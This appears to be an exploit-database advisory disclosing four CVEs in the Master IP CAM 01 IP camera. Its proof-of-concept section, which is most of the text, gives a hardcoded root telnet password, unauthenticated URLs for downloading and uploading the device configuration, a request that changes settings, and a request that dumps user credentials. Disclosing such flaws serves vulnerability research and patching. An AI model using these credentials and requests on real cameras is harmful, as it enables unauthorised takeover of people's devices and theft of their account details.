Master IP CAM 01 Hardcoded Password / Unauthenticated Access

`# Exploit Title: Master IP CAM 01 Multiple Vulnerabilities  
# Date: 17-01-2018  
# Remote: Yes  
# Exploit Authors: Daniele Linguaglossa, Raffaele Sabato  
# Contact: https://twitter.com/dzonerzy, https://twitter.com/syrion89  
# Vendor: Master IP CAM  
# Version: 3.3.4.2103  
# CVE: CVE-2018-5723, CVE-2018-5724, CVE-2018-5725, CVE-2018-5726  
  
I DESCRIPTION  
========================================================================  
The Master IP CAM 01 suffers of multiple vulnerabilities:  
  
# [CVE-2018-5723] Hardcoded Password for Root Account  
# [CVE-2018-5724] Unauthenticated Configuration Download and Upload  
# [CVE-2018-5725] Unauthenticated Configuration Change  
# [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure  
  
  
II PROOF OF CONCEPT  
========================================================================  
  
## [CVE-2018-5723] Hardcoded Password for Root Account  
  
Is possible to access telnet with the hardcoded credential root:cat1029  
  
  
## [CVE-2018-5724] Unauthenticated Configuration Download and Upload  
  
Download:  
  
http://192.168.1.15/web/cgi-bin/hi3510/backup.cgi  
  
Upload Form:  
  
### Unauthenticated Configuration Upload  
<form name="form6" method="post" enctype="multipart/form-data"  
action="cgi-bin/hi3510/restore.cgi" >  
<input type="file" name="setting_file" >  
<input type="submit" value="restore" >  
</form>  
  
  
## [CVE-2018-5725] Unauthenticated Configuration Change  
  
Change configuration:  
  
http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=sethttpport&-httport=8080  
  
List of available commands here:  
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf  
  
  
## [CVE-2018-5726] Unauthenticated Sensitive Information Disclousure  
  
Retrieve sensitive information:  
  
http://192.168.1.15/web/cgi-bin/hi3510/param.cgi?cmd=getuser  
  
  
III REFERENCES  
========================================================================  
http://syrion.me/blog/master-ipcam/  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5723  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5724  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5725  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5726  
http://www.themadhermit.net/wp-content/uploads/2013/03/FI9821W-CGI-Commands.pdf  
  
`